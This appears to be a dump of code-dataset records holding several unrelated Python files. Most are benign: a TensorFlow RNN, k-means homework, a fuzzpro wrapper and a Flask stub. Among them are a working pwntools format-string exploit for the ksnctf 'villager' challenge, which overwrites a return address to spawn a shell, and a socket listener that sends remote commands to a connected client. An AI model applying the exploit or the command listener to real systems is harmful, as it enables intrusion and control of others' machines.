self.visits = visits\n self.contacts = contacts\n\n def __add__(self, other):\n total_visits = self.visits + other.visits\n total_contacts = self.contacts + other.contacts\n return Day(total_visits, total_contacts)\n\n def __radd__(self, other):\n if other == 0:\n return self\n else:\n return self.__add__(other)\n\n def __str__(self):\n return \"Visits: %i, Contacts: %i\" % (self.visits, self.contacts)\n\nif __name__ == \"__main__\":\n\tday1 = Day(10, 1)\n\tday2 = Day(20, 2)\n\tprint(day1)\n\t# Visits: 10, Contacts: 1\n\n\tprint(day2)\n\t# Visits: 20, Contacts: 2\n\n\tday3 = day1 + day2\n\t\n\tprint(day3)\n\t# Visits: 30, Contacts: 3\n\n\tday4 = sum([day1, day2, day3])\n\n\tprint(day4)\n\t# Visits: 60, Contacts: 6","sub_path":"AllRepos/examples/session-eleven/underscores.py","file_name":"underscores.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"322067385","text":"\n# -*- coding: utf-8 -*-\n# -*- version:\n#\t\tpython 3.5.3\n#\t\ttensorflow 1.4.0 \n#\t\tnumpy 1.13.1\n# -*- ---------------------------------- -*- \n#\n# Raw version from Tensorflow battle in Google Framework \n# modified by Hsingmin Lee to update new features and debug\n# the Model to runnable .\n\n# rnn_language_model.py -- Achieve a \n# natrual language processing model with deepRNN and LSTM .\n\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow_ptb_reader as reader\n\n# Constants of data\nDATA_PATH = \"./ptb/data\"\t\t# Dataset stored path\nHIDDEN_SIZE = 200\t\t\t# Hidden layer nodes \nNUM_LAYERS = 2\t\t\t\t# deepRNN LSTM layers\nVOCAB_SIZE = 10000\t\t\t# Dictionary size .\n\n# Constants of neural network\nLEARNING_RATE = 1.0\t\t\t# Learning rate in training process\nTRAIN_BATCH_SIZE = 20\t\t\t# Input data batch size\nTRAIN_NUM_STEP = 35\t\t\t# Training data truncate length\n\n# Regard test data as a super long sequence for no truncating used in test process .\nEVAL_BATCH_SIZE = 1\t\t\t# Test data batch size\nEVAL_NUM_STEP = 1\t\t\t# Test data truncate length\nNUM_EPOCH = 2\t\t\t\t# Epoches of using test data\nKEEP_PROB = 0.5\t\t\t\t# Probability of no dropout for one node\nMAX_GRAD_NORM = 5\t\t\t# Coefficient to control gradient expansion \n\n# Create PTBModel to describe model and maintain state in RNN ,\n# and defines ops for build neural network .\nclass PTBModel(object):\n\tdef __init__(self, is_training, batch_size, num_steps):\n\t\t# Record batch size and truncate length\n\t\tself.batch_size = batch_size\n\t\tself.num_steps = num_steps\n\n\t\t# Define input layer with size=batch_size*num_steps ,\n\t\t# which equals to the batch size output by ptb_iterator .\n\t\tself.input_data = tf.placeholder(tf.int32, [batch_size, num_steps])\n\n\t\t# Define expected output with size equals to real label output by ptb_iterator.\n\t\tself.targets = tf.placeholder(tf.int32, [batch_size, num_steps])\n\n\t\t# Set LSTM to be loop structure of deepRNN and using dropout .\n\t\t# Set state_is_tuple=True , returns (c, h) or it would be concated into a tensor .\n\t\tlstm_cell = tf.nn.rnn_cell.BasicLSTMCell(HIDDEN_SIZE, state_is_tuple=True)\n\t\tif is_training:\n\t\t\tlstm_cell = tf.nn.rnn_cell.DropoutWrapper(\n\t\t\t\t\tlstm_cell, output_keep_prob=KEEP_PROB)\n\n\t\tcell = tf.nn.rnn_cell.MultiRNNCell([lstm_cell] * NUM_LAYERS, state_is_tuple=True)\n\n\t\t# Initialize original state to zeros vector .\n\t\tself.initial_state = cell.zero_state(batch_size, tf.float32)\n\t\t# Embedding Layer is a full-connected layer \n\t\t# to converse word id to word vector .\n\t\t#\n\t\t# Words counts totally to VOCAB_SIZE in dictionary ,\n\t\t# word vector dimension=HIDDEN_SIZE , then variable embedding\n\t\t# dimension=VOCAB_SIZE * HIDDEN_SIZE .\n\n\t\tembedding = tf.get_variable(\"embedding\", [VOCAB_SIZE, HIDDEN_SIZE])\n\n\t\t# Converse original batch_size * num_steps words' id into word vector.\n\t\t# word vector dimension = batch_size x num_steps x HIDDEN_SIZE ,\n\t\t# in which batch_size as the first dimenion ,\n\t\t# num_steps as the second dimension,\n\t\t# HIDDEN_SIZE as the third dimension .\n\t\t# Get a 3-D word matrix .\n\t\tinputs = tf.nn.embedding_lookup(embedding, self.input_data)\n\n\t\t# Use dropout only in training process .\n\t\tif is_training:\n\t\t\tinputs = tf.nn.dropout(inputs, KEEP_PROB)\n\n\t\t# Define outputs array to collect LSTM output in different moment ,\n\t\t# and get the final output through a full-connected network .\n\t\toutputs = []\n\t\t# Store LSTM state information of different batch , and initialize to zeros .\n\t\tstate = self.initial_state\n\n\t\twith tf.variable_scope(\"RNN\", reuse=tf.AUTO_REUSE):\n\t\t\tfor time_step in range(num_steps):\n\t\t\t\tif time_step > 0:\n\t\t\t\t\ttf.get_variable_scope().reuse_variables()\n\t\t\t\t# Input training data reshaped in embedding following sequence .\n\t\t\t\tcell_output, state = cell(inputs[:, time_step, :], state)\n\n\t\t\t\toutputs.append(cell_output)\n\t\t# Reshape output into input matrix dimension .\n\t\t#\n\t\t# In tensorflow 1.0 or higher version , change tf.concat(1, outputs)\n\t\t# to tf.concat(outputs, 1) .\n\t\toutput = tf.reshape(tf.concat(outputs, 1), [-1, HIDDEN_SIZE])\n\n\t\t# Final full-connected layer to get the predication value ,\n\t\t# that is an array length=VOCAB_SIZE , which turned to be a\n\t\t# probability vector through softmax layer .\n\n\t\tweight = tf.get_variable(\"weight\", [HIDDEN_SIZE, VOCAB_SIZE])\n\t\tbias = tf.get_variable(\"bias\", [VOCAB_SIZE])\n\t\tlogits = tf.matmul(output, weight) + bias\n\n\t\t# Cross Entropy loss function ,\n\t\t# Tensorflow provides sequence_loss_by_example api to calculate \n\t\t# the cross-entropy of one sequence .\n\t\t#\n\t\t# In tensorflow 1.0 or higher version , tf.nn.seq2seq.sequence_loss_by_example\n\t\t# is romoved and use tf.contrib.legacy_seq2seq.sequence_loss_by_example() instead .\n\t\tloss = tf.contrib.legacy_seq2seq.sequence_loss_by_example(\n\t\t\t\t[logits],\t\t\t\t# Predication value\n\t\t\t\t[tf.reshape(self.targets, [-1])],\t# Expected result \n\t\t\t\t\t\t\t\t\t# reshape [batch_size, num_steps] \n\t\t\t\t\t\t\t\t\t# array into one list \n\t\t\t\t# Loss weight set to be 1 , which means the loss of \n\t\t\t\t# different batch on different moment matters the same importance . \n\t\t\t\t[tf.ones([batch_size * num_steps], dtype=tf.float32)])\n\t\t# Calculate loss of every batch .\n\t\tself.cost = tf.reduce_sum(loss) / batch_size\n\t\tself.final_state = state\n\n\t\tif not is_training:\n\t\t\treturn\n\t\ttrainable_variables = tf.trainable_variables()\n\t\t# Control gradient with tf.clip_by_global_norm() to avoid gradient explosion .\n\t\tgrads, _ = tf.clip_by_global_norm(\n\t\t\t\ttf.gradients(self.cost, trainable_variables), MAX_GRAD_NORM)\n\n\t\t# Define optimizer .\n\t\toptimizer = tf.train.GradientDescentOptimizer(LEARNING_RATE)\n\n\t\t# Define training steps .\n\t\tself.train_op = optimizer.apply_gradients(zip(grads, trainable_variables))\n\n# Batch all text contents for model to train .\n# Return perplexity value on whole dataset by running train_op .\ndef run_epoch(session, model, data, train_op, output_log):\n\t# Auxiliary variables to calculate perplexity .\n\ttotal_costs = 0.0\n\titers = 0\n\tstate = session.run(model.initial_state)\n\tcount = 0\n\t# Train or test model with current dataset .\n\tfor step, (x, y) in enumerate(\n\t\t\treader.ptb_iterator(data, model.batch_size, model.num_steps)):\n\t\t# Run train_op on current batch and calculate cross-entropy that means\n\t\t# the probability of next word been specified .\n\t\tcost, state, _ = session.run([model.cost, model.final_state, train_op],\n\t\t\t\t{model.input_data: x, model.targets: y, model.initial_state: state})\n\n\t\t# Add probability of all batched in all moments to get perplexity .\n\t\ttotal_costs += cost\n\t\titers += model.num_steps\n\t\tcount += 1\n\t\t# Output log when training .\n\t\tif output_log and count % 100 == 1:\n\t\t\tprint(\"After %d steps, perplexity is %.3f \" %(\n\t\t\t\tcount, np.exp(total_costs / iters)))\n\n\t# Return perplexity on training dataset .\n\treturn np.exp(total_costs / iters)\n\n# Calls run_epoch() for many times ,\n# contents in text will be feeded to model for many times ,\n# in which progress the arguments adjusted . \ndef main(argv=None):\n\t# Get raw training dataset .\n\ttrain_data, validate_data, test_data, _ = reader.ptb_raw_data(DATA_PATH)\n\n\t# Define initializer for model .\n\tinitializer = tf.random_uniform_initializer(-0.05, 0.05)\n\n\t# Define deepRNN model for training .\n\twith tf.variable_scope(\"language_model\",\n\t\t\treuse=tf.AUTO_REUSE, initializer=initializer):\n\t\ttrain_model = PTBModel(True, TRAIN_BATCH_SIZE, TRAIN_NUM_STEP)\n\n\t# Define deepRNN model for testing .\n\twith tf.variable_scope(\"language_model\",\n\t\t\treuse=tf.AUTO_REUSE, initializer=initializer):\n\t\teval_model = PTBModel(False, EVAL_BATCH_SIZE, EVAL_NUM_STEP)\n\n\twith tf.Session() as session:\n\t\tsession.run((tf.global_variables_initializer(),\n tf.local_variables_initializer()))\n\n\t\t# Train model with training datasets\n\t\tfor i in range(NUM_EPOCH):\n\t\t\tprint(\"In iteration: %d \" % (i + 1))\n\t\t\t# Train deepRNN model on whole dataset .\n\t\t\trun_epoch(session, train_model,\n\t\t\t\t\ttrain_data, train_model.train_op, True)\n\n\t\t\t# Validate model with validate dataset .\n\t\t\tvalidate_perplexity = run_epoch(session, eval_model,\n\t\t\t\t\tvalidate_data, tf.no_op(), False)\n\t\t\tprint(\"Epoch: %d Validation Perplexity %.3f\" %(i + 1, validate_perplexity))\n\n\t\t# Evaluate model performance on test dataset .\n\t\ttest_perplexity = run_epoch(session, eval_model, test_data, tf.no_op(), False)\n\t\tprint(\"Test: Perplexity: %.3f \" % test_perplexity)\n\nif __name__ == \"__main__\":\n\ttf.app.run()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"tensorflow-tutorial/rnn_in_practice/rnn_language_model.py","file_name":"rnn_language_model.py","file_ext":"py","file_size_in_byte":8284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"68560941","text":"import subprocess\nimport re\nfrom Bio.SeqFeature import SeqFeature, FeatureLocation\n\n__author__ = 'pmoreno'\n\n\nclass FuzzProParser(object):\n def __init__(self, file, patternName):\n self.file = file\n prog = re.compile('\\s+Start\\s+End\\s+Score')\n # get to the header line\n self.regionPat = re.compile('^\\s+(\\d+)\\s+(\\d+)\\s+(\\d+)')\n self.patternName = patternName\n while True:\n line = self.file.readline()\n if len(line) == 0:\n break\n if prog.match(line):\n break\n\n\n def nextRegion(self):\n \"\"\" Returns the next appearance of the pattern, if any, as a SeqFeature\n None is returned if the pattern doesn't appear again \"\"\"\n line = self.file.readline()\n if re.match('^#',line):\n return None\n res = self.regionPat.match(line)\n if res:\n domain_loc = FeatureLocation(int(res.group(1)), int(res.group(2)))\n qual = { \"score\" : res.group(3),\n \"name\" : self.patternName}\n domain_feat = SeqFeature(domain_loc, type=\"pattern\",\n strand=1, id=self.patternName, qualifiers=qual)\n return domain_feat\n return None\n\n\nclass FuzzProRunner(object):\n\n def __init__(self, path2FuzzPro):\n self.path = path2FuzzPro\n self.executable = \"fuzzpro\"\n\n def setPattern(self, pattern, patternName):\n self.pattern = pattern\n self.patternName = patternName\n\n def run(self, seqRecord):\n \"\"\"\n Runs fuzzpro on the seqRecord given the set pattern, parses the output, and writes it\n back to the seqRecord as a sequence feature. Sequence is BioPython SeqRecord object.\n \"\"\"\n from subprocess import Popen, PIPE\n # print [self.path+\"/\"+self.executable, \"-pattern\", self.pattern,\n # \"-sequence\",\"asis::\"+seqRecord.seq.tostring(),\n # \"-auto\", \"-rformat\", \"table\", \"-stdout\"]\n self.pScan = Popen([self.path+\"/\"+self.executable, \"-pattern\", self.pattern,\n \"-sequence\",\"asis::\"+str(seqRecord.seq),\n \"-auto\", \"-rformat\", \"table\", \"-stdout\"], stdout=PIPE)\n # get stdout somehow and then parse it\n self.pScan.wait()\n\n parser = FuzzProParser(self.pScan.stdout, self.patternName)\n\n while True:\n seqFeat = parser.nextRegion()\n if seqFeat is None:\n break\n seqRecord.features.append(seqFeat)\n\n\n","sub_path":"PKSPredictor-Core/src/EMBOSS/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"550254833","text":"import socket\nimport os\nhostname = socket.gethostname()\n## getting the IP address using socket.gethostbyname() method\nhostname=socket.gethostname()\nHOST=socket.gethostbyname(hostname) #\"192.168.116.145\" #socket.gethostbyname(hostname) # Standard loopback interface address (localhost)\\\n#\"192.168.83.145\"\n#\"192.168.116.145\"\nPORT = 8989# Port to listen on (non-privileged ports are > 1023)\nsize=1034 #1024\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.bind((HOST, PORT))\n s.listen()\n conn, addr = s.accept()\n with conn:\n print(f\"Connected by {addr}\")\n while True:\n inp=input('Enter_Command:').strip().encode()#take input\n conn.send(inp)#send_input\n if inp.decode()==\"end\" or inp.decode()==\"exit\" or inp.decode()==\"close\":\n print(\"[-]Connection ended...\")\n conn.close()\n exit()\n \n \n elif inp.decode().endswith('.jpg') or inp.decode().endswith('.png') or inp.decode().endswith('.ico'):\n data = conn.recv(size).decode()#recieve_input\n data=data.split('*')#get the filename and filesize\n filename,filesize=data[0],data[1]# declare it to variable\n print(filename,filesize)\n with open(filename,'wb') as f:\n #with tqdm.wrapattr(open(filename,'wb'), \"write\", total=int(filesize),desc=filename,colour=\"green\") as f:\n print('[-]receiving..')\n while True:\n content=conn.recv(32)\n if content==b'BEGIN':\n continue\n elif content==b'ENDED':\n print('[*]Breaking_from_file_write')\n break\n else:\n f.write(content)\n print(\"[+]Received..\") \n print(os.path.getsize(filename))\n print(\"[+]Done..\")\n \n \n else:\n data = conn.recv(size).decode()#recieve_input\n data=data.split('*')#get the filename and filesize\n filename,filesize=data[0],data[1]# declare it to variable\n print(f'[+]Command={filename} size:={filesize}')\n output=conn.recv(int(filesize))#recieve all data\n print(output.decode())#print the output you get\n ","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"180624425","text":"from hw4code.DataPoints import DataPoints\nimport random\nimport sys\nimport math\nimport pandas as pd\nimport numpy as np\n\n# =======================================================================\ndef sqrt(n):\n return math.sqrt(n)\n\n# =======================================================================\ndef getEuclideanDist(x1, y1, x2, y2):\n dist = sqrt(pow((x2 - x1), 2) + pow((y2 - y1), 2))\n return dist\n# =======================================================================\ndef compute_purity(clusters,total_points):\n # Calculate purity\n\n # Create list to store the maximum union number for each output cluster.\n maxLabelCluster = []\n num_clusters = len(clusters)\n # ========================#\n # STRART YOUR CODE HERE #\n # ========================#\n for cluster in clusters:\n vals, counts = np.unique([dp.label for dp in cluster], return_counts=True)\n maxLabelCluster.append(max(counts))\n # ========================#\n # END YOUR CODE HERE #\n # ========================#\n purity = 0.0\n for j in range(num_clusters):\n purity += maxLabelCluster[j]\n purity /= total_points\n print(\"Purity is %.6f\" % purity)\n\n# =======================================================================\ndef compute_NMI(clusters,noOfLabels):\n # Get the NMI matrix first\n nmiMatrix = getNMIMatrix(clusters, noOfLabels)\n # Get the NMI matrix first\n nmi = calcNMI(nmiMatrix)\n print(\"NMI is %.6f\" % nmi)\n\n\n# =======================================================================\ndef getNMIMatrix(clusters, noOfLabels):\n # Matrix shape of [num_true_clusters + 1,num_output_clusters + 1] (example under week6's slide page 9)\n nmiMatrix = [[0 for x in range(len(clusters) + 1)] for y in range(noOfLabels + 1)]\n clusterNo = 0\n for cluster in clusters:\n # Create dictionary {true_class_No: Number of shared elements}\n labelCounts = {}\n # ========================#\n # STRART YOUR CODE HERE #\n # ========================#\n classes, counts = np.unique([dp.label for dp in cluster], return_counts=True)\n labelCounts = dict(zip(classes, counts))\n # ========================#\n # END YOUR CODE HERE #\n # ========================#\n labelTotal = 0\n labelCounts_sorted = sorted(labelCounts.items(), key=lambda item: item[1], reverse=True)\n for label, val in labelCounts_sorted:\n nmiMatrix[label - 1][clusterNo] = labelCounts[label]\n labelTotal += labelCounts.get(label)\n # Populate last row (row of summation)\n nmiMatrix[noOfLabels][clusterNo] = labelTotal\n clusterNo += 1\n labelCounts.clear()\n\n # Populate last col (col of summation)\n lastRowCol = 0\n for i in range(noOfLabels):\n totalRow = 0\n for j in range(len(clusters)):\n totalRow += nmiMatrix[i][j]\n lastRowCol += totalRow\n nmiMatrix[i][len(clusters)] = totalRow\n\n # Total number of datapoints\n nmiMatrix[noOfLabels][len(clusters)] = lastRowCol\n\n return nmiMatrix\n\n# =======================================================================\ndef calcNMI(nmiMatrix):\n # Num of true clusters + 1\n row = len(nmiMatrix)\n # Num of output clusters + 1\n col = len(nmiMatrix[0])\n # Total number of datapoints\n N = nmiMatrix[row - 1][col - 1]\n I = 0.0\n HOmega = 0.0\n HC = 0.0\n\n for i in range(row - 1):\n for j in range(col - 1):\n # Compute the log part of each pair of clusters within I's formula.\n logPart_I = 1.0\n # ========================#\n # STRART YOUR CODE HERE #\n # ========================#\n logPart_I = N * nmiMatrix[i][j] / (nmiMatrix[-1][j] * nmiMatrix[i][-1])\n # ========================#\n # END YOUR CODE HERE #\n # ========================#\n\n if logPart_I == 0.0:\n continue\n I += (nmiMatrix[i][j] / float(N)) * math.log(float(logPart_I))\n # Compute HOmega\n # ========================#\n # STRART YOUR CODE HERE #\n # ========================#\n HOmega += nmiMatrix[i][-1] / N * np.log(nmiMatrix[i][-1] / N)\n # ========================#\n # END YOUR CODE HERE #\n # ========================#\n\n #Compute HC\n # ========================#\n # STRART YOUR CODE HERE #\n # ========================#\n c_row = np.array(nmiMatrix[-1][:-1])\n HC = np.sum((c_row / N) * np.log(c_row/N))\n # ========================#\n # END YOUR CODE HERE #\n # ========================#\n\n return I / math.sqrt(HC * HOmega)\n\n\n\n\n\n# =======================================================================\nclass Centroid:\n # -------------------------------------------------------------------\n def __init__(self, x, y):\n self.x = x\n self.y = y\n # -------------------------------------------------------------------\n def __eq__(self, other):\n if not type(other) is type(self):\n return False\n if other is self:\n return True\n if other is None:\n return False\n if self.x != other.x:\n return False\n if self.y != other.y:\n return False\n return True\n # -------------------------------------------------------------------\n def __ne__(self, other):\n result = self.__eq__(other)\n if result is NotImplemented:\n return result\n return not result\n # -------------------------------------------------------------------\n def toString(self):\n return \"Centroid [x=\" + str(self.x) + \", y=\" + str(self.y) + \"]\"\n # -------------------------------------------------------------------\n def __str__(self):\n return self.toString()\n # -------------------------------------------------------------------\n def __repr__(self):\n return self.toString()\n\n\n\n\n\n\n\n# =======================================================================\nclass KMeans:\n # -------------------------------------------------------------------\n def __init__(self):\n self.K = 0\n # -------------------------------------------------------------------\n def main(self, dataname,isevaluate=False):\n seed = 71\n self.dataname = dataname[5:-4]\n print(\"\\nFor \" + self.dataname)\n self.dataSet = self.readDataSet(dataname)\n self.K = DataPoints.getNoOFLabels(self.dataSet)\n random.Random(seed).shuffle(self.dataSet)\n self.kmeans(isevaluate)\n \n # -------------------------------------------------------------------\n def check_dataloader(self,dataname):\n\n df = pd.read_table(dataname,sep = \"\\t\", header=None, names=['x','y','ground_truth_cluster'])\n print(\"\\nFor \" + dataname[5:-4] + \": number of datapoints is %d\" % df.shape[0])\n print(df.head(5))\n\n\n # -------------------------------------------------------------------\n def kmeans(self,isevaluate=False):\n clusters = []\n k = 0\n while k < self.K:\n cluster = set()\n clusters.append(cluster)\n k += 1\n \n # Initially randomly assign points to clusters\n i = 0\n for point in self.dataSet:\n clusters[i % k].add(point)\n i += 1\n\n # calculate centroid for clusters\n centroids = []\n for j in range(self.K):\n centroids.append(self.getCentroid(clusters[j]))\n\n self.reassignClusters(self.dataSet, centroids, clusters)\n \n # continue till converge\n iteration = 0\n while True:\n iteration += 1\n # calculate centroid for clusters\n centroidsNew = []\n for j in range(self.K):\n centroidsNew.append(self.getCentroid(clusters[j]))\n\n isConverge = False\n for j in range(self.K):\n if centroidsNew[j] != centroids[j]:\n isConverge = False\n else:\n isConverge = True\n if isConverge:\n break\n\n for j in range(self.K):\n clusters[j] = set()\n\n self.reassignClusters(self.dataSet, centroidsNew, clusters)\n for j in range(self.K):\n centroids[j] = centroidsNew[j]\n print(\"Iteration :\" + str(iteration))\n\n if isevaluate:\n # Calculate purity and NMI\n compute_purity(clusters, len(self.dataSet))\n compute_NMI(clusters, self.K)\n\n # write clusters to file for plotting\n f = open(\"Kmeans_\"+ self.dataname + \".csv\", \"w\")\n for w in range(self.K):\n print(\"Cluster \" + str(w) + \" size :\" + str(len(clusters[w])))\n print(centroids[w].toString())\n for point in clusters[w]:\n f.write(str(point.x) + \",\" + str(point.y) + \",\" + str(w) + \"\\n\")\n f.close()\n\n # -------------------------------------------------------------------\n def reassignClusters(self, dataSet, c, clusters):\n # reassign points based on cluster and continue till stable clusters found\n dist = [0.0 for x in range(self.K)]\n for point in dataSet:\n for i in range(self.K):\n dist[i] = getEuclideanDist(point.x, point.y, c[i].x, c[i].y)\n\n minIndex = self.getMin(dist)\n # assign point to the closest cluster\n # ========================#\n # STRART YOUR CODE HERE #\n # ========================#\n\n for cluster in clusters:\n try:\n cluster.remove(point)\n except KeyError:\n pass\n \n clusters[minIndex].add(point)\n\n # ========================#\n # END YOUR CODE HERE #\n # ========================#\n # -------------------------------------------------------------------\n def getMin(self, dist):\n min = sys.maxsize\n minIndex = -1\n for i in range(len(dist)):\n if dist[i] < min:\n min = dist[i]\n minIndex = i\n return minIndex\n\n # -------------------------------------------------------------------\n def getCentroid(self, cluster):\n # mean of x and mean of y\n cx = 0\n cy = 0\n # ========================#\n # STRART YOUR CODE HERE #\n # ========================#\n for dp in cluster:\n cx += dp.x\n cy += dp.y\n \n cx /= len(cluster)\n cy /= len(cluster)\n # ========================#\n # END YOUR CODE HERE #\n # ========================#\n return Centroid(cx, cy)\n # -------------------------------------------------------------------\n @staticmethod\n def readDataSet(filePath):\n dataSet = []\n with open(filePath) as f:\n lines = f.readlines()\n lines = [x.strip() for x in lines]\n for line in lines:\n points = line.split('\\t')\n x = float(points[0])\n y = float(points[1])\n label = int(points[2])\n point = DataPoints(x, y, label)\n dataSet.append(point)\n return dataSet\n","sub_path":"hw4/hw4code/KMeans.py","file_name":"KMeans.py","file_ext":"py","file_size_in_byte":11297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"397281023","text":"# -*- coding: utf-8 -*-\n\nfrom bson import ObjectId\nfrom flask import Blueprint, make_response\nfrom flask_restful import Api, Resource\n\nfrom chen import settings\nfrom chen.extends import login_required\nfrom chen.utils.tools import encode_json\n\n\npath = 'static/%s' % ('src' if settings.DEBUG else 'build')\n\ntodo_bp = Blueprint('todo',\n __name__,\n static_folder=path,\n template_folder=path)\n\ntodo = Api(todo_bp)\n\n\n@todo.representation('application/json')\ndef output_json(data, code, headers=None):\n resp = make_response(encode_json(data), code)\n resp.headers.extend(headers or {})\n return resp\n\n\nclass Test(Resource):\n def get(self):\n return {'a': ObjectId()}\n\n\ntodo.add_resource(Test, '/test')\n","sub_path":"chen/apps/todo/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"34179407","text":"from pwn import *\n\nb = ELF(\"./villager\")\nlibc = ELF(\"/lib32/libc.so.6\")\n\ncontext.log_level = 'debug' # output verbose log\n\n# telescope\n# 0000| 0xffffd3a0 --> 0xffffd3bc (\"aaaa\\n\") # format string\n# 0028| 0xffffd3bc (\"aaaa\\n\") #input string\n# 0312| 0xffffd4d8 --> 0xffffd508 --> 0x0 # ebp\n# 0316| 0xffffd4dc --> 0x565558f1 (:test al,al) # retaddr\n# 0364| 0xffffd50c --> 0xf7cdeaf3 (<__libc_start_main+243>:mov DWORD PTR [esp],eax)\n\noffset_retaddr_from_buf = 0xffffd4dc - 0xffffd3a0\noffset_ebp_from_buf = 0xffffd508 - 0xffffd3a0\nindex = (0xffffd3bc - 0xffffd3a0) / 4\nindex_retaddr = (offset_retaddr_from_buf) / 4\nindex_libc_start_main = (0xffffd50c - 0xffffd3a0) / 4\n\noffset_retaddr = 0x8f1\noffset_libc_start_main = libc.symbols[\"__libc_start_main\"]\noffset_libc_start_main_243 = 243\noffset_libc_system =libc.symbols[\"system\"]\noffset_libc_binsh = list(libc.search(\"bin/sh\"))[0]\n\nlog.info(\"index %x\" % index)\nlog.info(\"index_retaddr %x\" % index_retaddr)\nlog.info(\"index_libc_start_main %x\" % index_libc_start_main)\nlog.info(\"offset_libc_start_main %x\" % offset_libc_start_main)\nlog.info(\"offset_libc_start_main_243 %x\" % offset_libc_start_main_243)\nlog.info(\"offset_libc_system %x\" % offset_libc_system)\nlog.info(\"offset_libc_binsh %x\" % offset_libc_binsh)\n\np = process('./villager')\n\n'''\n# leak base_addr (./villager)\npayload1 = ''\npayload1 += '%%%d$08x' % index_retaddr\np.recvuntil('name?')\np.sendline(payload1)\np.recvuntil('Hi, ')\naddr_retaddr = p.recv(8); # main(test al al) address\n#addr_ret = int(leak1, 16) - \nbase_addr = int(addr_retaddr, 16) - offset_retaddr # top of ./a.out\nlog.info(\"base_addr %x\" % base_addr)\nlog.info(\"addrret %s\" % addr_retaddr)\n'''\n\n#reak top of bufaddr \npayload2 = ''\npayload2 += '%%%d$08x' % (index_retaddr - 4)\np.recvuntil('name?')\np.sendline(payload2)\np.recvuntil('Hi, ')\naddr_ebp = p.recv(8); # ebp address\naddr_buf = int(addr_ebp, 16) - offset_ebp_from_buf\nlog.info(\"addr_ebp %s\" % addr_ebp)\nlog.info(\"addr_buf %x\" % addr_buf)\n\n# leak addr_libc_startmain and calculate base_libc_addr\npayload3 = ''\npayload3 += '%%%d$08x' % index_libc_start_main # %91$08x\np.recvuntil('name?')\np.sendline(payload3)\np.recvuntil('Hi, ')\naddr_libc_start_main_243 = p.recv(8) #road adfress of after ALSR and PIE\naddr_libc_start_main = int(addr_libc_start_main_243, 16) - offset_libc_start_main_243\nbase_libc_addr = addr_libc_start_main - offset_libc_start_main\nlog.info(\"addr_libc_start_main %s\" % addr_libc_start_main_243)\nlog.info(\"addr_libc_start_main %x\" % addr_libc_start_main)\nlog.info(\"base_libc_addr %x\" % base_libc_addr)\n\n# calculate addr_libc_system addr_libc_binsh\naddr_libc_system = offset_libc_system + base_libc_addr\naddr_libc_binsh = offset_libc_binsh + base_libc_addr\nlog.info(\"addr_libc_system %x\" % addr_libc_system)\nlog.info(\"addr_libc_binsh %x\" % addr_libc_binsh)\n\n\n# using rop, call shell\n# system <~ ret\n# gomi\n# bin/sh\naddr_ret = addr_buf + offset_retaddr_from_buf\nlog.info(\"addr_ret %x\" %addr_ret)\nrop = ''\nrop += p32(addr_ret)\nrop += p32(addr_ret + 1)\nrop += p32(addr_ret + 2)\nrop += p32(addr_ret + 3)\nrop += p32(addr_ret + 8)\nrop += p32(addr_ret + 9)\nrop += p32(addr_ret + 10)\nrop += p32(addr_ret + 11)\nrop += '%%%dc%%%d$hhn' % ((u8(p32(addr_libc_system)[0:1]) - 4 * 8) % 256, index)\nrop += '%%%dc%%%d$hhn' % ((u8(p32(addr_libc_system)[1:2]) - u8(p32(addr_libc_system)[0:1])) % 256, index + 1)\nrop += '%%%dc%%%d$hhn' % ((u8(p32(addr_libc_system)[2:3]) - u8(p32(addr_libc_system)[1:2])) % 256, index + 2)\nrop += '%%%dc%%%d$hhn' % ((u8(p32(addr_libc_system)[3:4]) - u8(p32(addr_libc_system)[2:3])) % 256, index + 3)\nrop += '%%%dc%%%d$hhn' % ((u8(p32(addr_libc_binsh)[0:1]) - u8(p32(addr_libc_system)[3:4])) % 256, index + 8)\nrop += '%%%dc%%%d$hhn' % ((u8(p32(addr_libc_binsh)[1:2]) - u8(p32(addr_libc_binsh)[0:1])) % 256, index + 9)\nrop += '%%%dc%%%d$hhn' % ((u8(p32(addr_libc_binsh)[2:3]) - u8(p32(addr_libc_binsh)[1:2])) % 256, index + 10)\nrop += '%%%dc%%%d$hhn' % ((u8(p32(addr_libc_binsh)[3:4]) - u8(p32(addr_libc_binsh)[2:3])) % 256, index + 11)\np.recvuntil('name?')\np.sendline(rop)\n\np.interactive()\n","sub_path":"ksnctf/023/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":4081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"189359342","text":"# -*- coding: utf-8 -*-\n\nfrom json import loads\n\nclass JSON2DICTV2:\n\t'''\n\tConvert JSON format to the dictionary, and with point to access the dictionary\n\t\n\t'''\n\tdef __init__(self, data):\n\t\t'''\n\t\tThe return is dict which represents the last result\n\t\t'''\n\t\tself.ndict = {}\n\t\tself.base_process(data, self.ndict, None)\n\n\n\tdef move(self, value, ndict, key):\n\t\tndict[key] = value\n\t\t\n\t\t\n\tdef move_dict(self, vdict, ndict, key=None):\n\t\ttdict = {}\n\t\tfor ekey, evar in vdict.items():\n\t\t\ttdict[ekey] = evar\n\t\t\tself.base_process(tdict, ndict, key)\n\t\t\ttdict.clear() \n\t\t\n\t\t\n\tdef move_list(self, nlist, ndict, key=None):\n\t\tfor i in range(len(nlist)):\n\t\t\te = nlist[i]\n\t\t\tif type(e) == dict:\n\t\t\t\tedict = {}\n\t\t\t\tfor ekey, evar in e.items():\n\t\t\t\t\tedict[ekey] = 